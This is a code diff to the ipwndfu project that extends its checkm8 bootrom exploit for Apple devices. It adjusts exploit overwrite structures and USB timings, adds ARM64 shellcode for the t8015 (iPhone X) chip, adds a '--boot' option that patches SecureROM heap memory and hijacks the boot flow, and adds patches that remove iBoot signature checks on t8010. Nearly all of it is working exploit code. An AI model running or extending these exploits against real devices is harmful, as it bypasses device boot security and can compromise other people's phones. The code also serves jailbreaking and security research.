diff --git a/Makefile b/Makefile index 8fe4d703..96e99b76 100644 --- a/Makefile +++ b/Makefile @@ -46,3 +46,7 @@ arm64: xcrun -sdk iphoneos clang src/t8010_t8011_disable_wxn_arm64.S -target arm64-apple-darwin -Wall -o bin/t8010_t8011_disable_wxn_arm64.o gobjcopy -O binary -j .text bin/t8010_t8011_disable_wxn_arm64.o bin/t8010_t8011_disable_wxn_arm64.bin rm bin/t8010_t8011_disable_wxn_arm64.o + + xcrun -sdk iphoneos clang src/t8015_shellcode_arm64.S -target arm64-apple-darwin -Wall -o bin/t8015_shellcode_arm64.o + gobjcopy -O binary -j .text bin/t8015_shellcode_arm64.o bin/t8015_shellcode_arm64.bin + rm bin/t8015_shellcode_arm64.o diff --git a/bin/t8015_shellcode_arm64.bin b/bin/t8015_shellcode_arm64.bin new file mode 100755 index 00000000..df39f44a Binary files /dev/null and b/bin/t8015_shellcode_arm64.bin differ diff --git a/checkm8.py b/checkm8.py index 1741de25..fb5bd869 100644 --- a/checkm8.py +++ b/checkm8.py @@ -318,10 +318,12 @@ def payload(cpid): (t8010_write_ttbr0, 0x1800B0000), (t8010_tlbi, 0), (0x1820B0610, 0), - (t8010_write_ttbr0, 0x1800A0000), + (t8010_write_ttbr0, 0x1800A8000), # A custom pagetable we just set up (t8010_tlbi, 0), (t8010_exit_critical_section, 0), (0x1800B0000, 0), + (t8010_write_ttbr0, 0x1800A0000), # Real pagetable + (t8010_tlbi, 0), ] t8010_handler = asm_arm64_x7_trampoline(t8010_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8010)[4:] t8010_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8010) @@ -435,7 +437,7 @@ def all_exploit_configs(): s5l895xx_overwrite = struct.pack('<20xI4x', 0x10000000) t800x_overwrite = struct.pack('<20xI4x', 0x48818000) s5l8960x_overwrite = struct.pack('<32xQ8x', 0x180380000) - t8010_overwrite = struct.pack('<32x2Q16x32x2QI', t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef) + t8010_overwrite = struct.pack('<32x2Q', t8010_nop_gadget, 0x1800B0800) t8011_overwrite = struct.pack('<32x2Q', t8011_nop_gadget, 0x1800B0800) t8015_overwrite = struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef) @@ -492,7 +494,7 @@ def exploit(): stall(device) for i in range(config.hole): no_leak(device) - leak(device) + usb_req_leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) @@ -515,9 +517,9 @@ def exploit(): else: for i in range(config.leak): usb_req_leak(device) - libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) + libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100) for i in range(0, len(payload), 0x800): - libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) + libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100) dfu.usb_reset(device) dfu.release_device(device) diff --git a/ipwndfu b/ipwndfu index 2bbcd36c..c90d17b3 100755 --- a/ipwndfu +++ b/ipwndfu @@ -16,6 +16,7 @@ def print_help(): print ' -f file\t\t\tsend file to device in DFU Mode' print 'Advanced options:' print ' --demote\t\t\tdemote device to enable JTAG' + print ' --boot\t\t\tboot device' print ' --dump=address,length\t\tdump memory to stdout' print ' --hexdump=address,length\thexdump memory to stdout' print ' --dump-rom\t\t\tdump SecureROM' @@ -31,7 +32,7 @@ def print_help(): if __name__ == '__main__': try: - advanced = ['demote', 'dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'encrypt-uid='] + advanced = ['demote', 'boot', 'dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'encrypt-uid='] opts, args = getopt.getopt(sys.argv[1:], 'pxf:', advanced) except getopt.GetoptError: print 'ERROR: Invalid arguments provided.' @@ -370,3 +371,45 @@ if __name__ == '__main__': device = PwnedDFUDevice() print 'Encrypting with device-specific UID key.' print device.aes_hex(arg, AES_ENCRYPT, AES_UID_KEY) + + if opt == '--boot': + device = dfu.acquire_device() + serial_number = device.serial_number + dfu.release_device(device) + + if 'CPID:8015' not in serial_number or 'PWND:[checkm8]' not in serial_number: + print serial_number + print 'ERROR: Option --boot is currently only supported on iPhone X pwned with checkm8.' + else: + HEAP_BASE = 0x1801E8000 + HEAP_WRITE_OFFSET = 0x5000 + HEAP_WRITE_HASH = 0x10000D4EC + HEAP_CHECK_ALL = 0x10000DB98 + HEAP_STATE = 0x1800086A0 + NAND_BOOT_JUMP = 0x10000188C + BOOTSTRAP_TASK_LR = 0x180015F88 + DFU_BOOL = 0x1800085B0 + DFU_NOTIFY = 0x1000098B4 + DFU_STATE = 0x1800085E0 + TRAMPOLINE = 0x180018000 + block1 = struct.pack('<8Q', 0, 0, 0, HEAP_STATE, 2, 132, 128, 0) + block2 = struct.pack('<8Q', 0, 0, 0, HEAP_STATE, 2, 8, 128, 0) + device = usbexec.PwnedUSBDevice() + device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET , block1) + device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x80, block2) + device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x100, block2) + device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x180, block2) + device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET ) + device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x80) + device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x100) + device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x180) + device.execute(0, HEAP_CHECK_ALL) + print 'Heap repaired.' + + device.write_memory(TRAMPOLINE, checkm8.asm_arm64_branch(TRAMPOLINE, TRAMPOLINE + 0x400)) + device.write_memory(TRAMPOLINE + 0x400, open('bin/t8015_shellcode_arm64.bin').read()) + + device.write_memory_ptr(BOOTSTRAP_TASK_LR, NAND_BOOT_JUMP) + device.write_memory(DFU_BOOL, '\x01') + device.execute(0, DFU_NOTIFY, DFU_STATE) + print 'Booted.' diff --git a/rmsigchks.py b/rmsigchks.py index 7a453e25..1c575853 100644 --- a/rmsigchks.py +++ b/rmsigchks.py @@ -30,7 +30,15 @@ def all_exploit_configs(): b"\x1f\x20\x03\xd5", # nop ]) } - + + t8010_patches = { + 0x100006C80: "\x21\x00\x80\x52\xe1\xe3\x03\x39\xe1\xef\x03\x39\xe1\xf7\x03\x39\xe1\xeb\x03\x39\xe1\xf3\x03\x39\xe1\xfb\x03\x39", + 0x100006ca0: "\x1f\x20\x03\xd5", # nop + 0x100006ca4: "\x1f\x20\x03\xd5", # nop + 0x100006ca8: "\x1f\x20\x03\xd5", # nop + 0x10000f1b0: "\x00\x00\x80\xd2\xc0\x03\x5f\xd6" + } + t8011_patches = { 0x100006df8: "\x21\x00\x80\x52\xe1\xb7\x03\x39\xe1\xb3\x03\x39\xe1\xbb\x03\x39", 0x100006e0c: "\x1f\x20\x03\xd5", # nop @@ -41,6 +49,7 @@ def all_exploit_configs(): return [ DeviceConfig("iBoot-1704.10", 0x8960, s5l8960x_patches), + DeviceConfig("iBoot-2696.0.0.1.33", 0x8010, t8010_patches), DeviceConfig("iBoot-3135.0.0.2.3", 0x8011, t8011_patches), ] diff --git a/src/t8015_shellcode_arm64.S b/src/t8015_shellcode_arm64.S new file mode 100644 index 00000000..cc817b42 --- /dev/null +++ b/src/t8015_shellcode_arm64.S @@ -0,0 +1,17 @@ +.text + +.pool +.set JUMP_BACK, 0x180018004 +.set WRITE_ADDR, 0x180033538 +.set WRITE_VALUE, 0x9100C484 + +.globl _main +_main: + MSR DAIFSET, #0xF + + LDR X5, =WRITE_ADDR + LDR W6, =WRITE_VALUE + STR W6, [X5] + + LDR X5, =JUMP_BACK + BR X5 diff --git a/usbexec.py b/usbexec.py index 770b1d62..43e2bc78 100644 --- a/usbexec.py +++ b/usbexec.py @@ -25,7 +25,7 @@ def match(self, info): DONE_MAGIC = 'donedone'[::-1] MEMC_MAGIC = 'memcmemc'[::-1] MEMS_MAGIC = 'memsmems'[::-1] -USB_READ_LIMIT = 0xFFFF # why does that panic T8015 ROM? +USB_READ_LIMIT = 0x8000 CMD_TIMEOUT = 5000 AES_BLOCK_SIZE = 16 AES_ENCRYPT = 16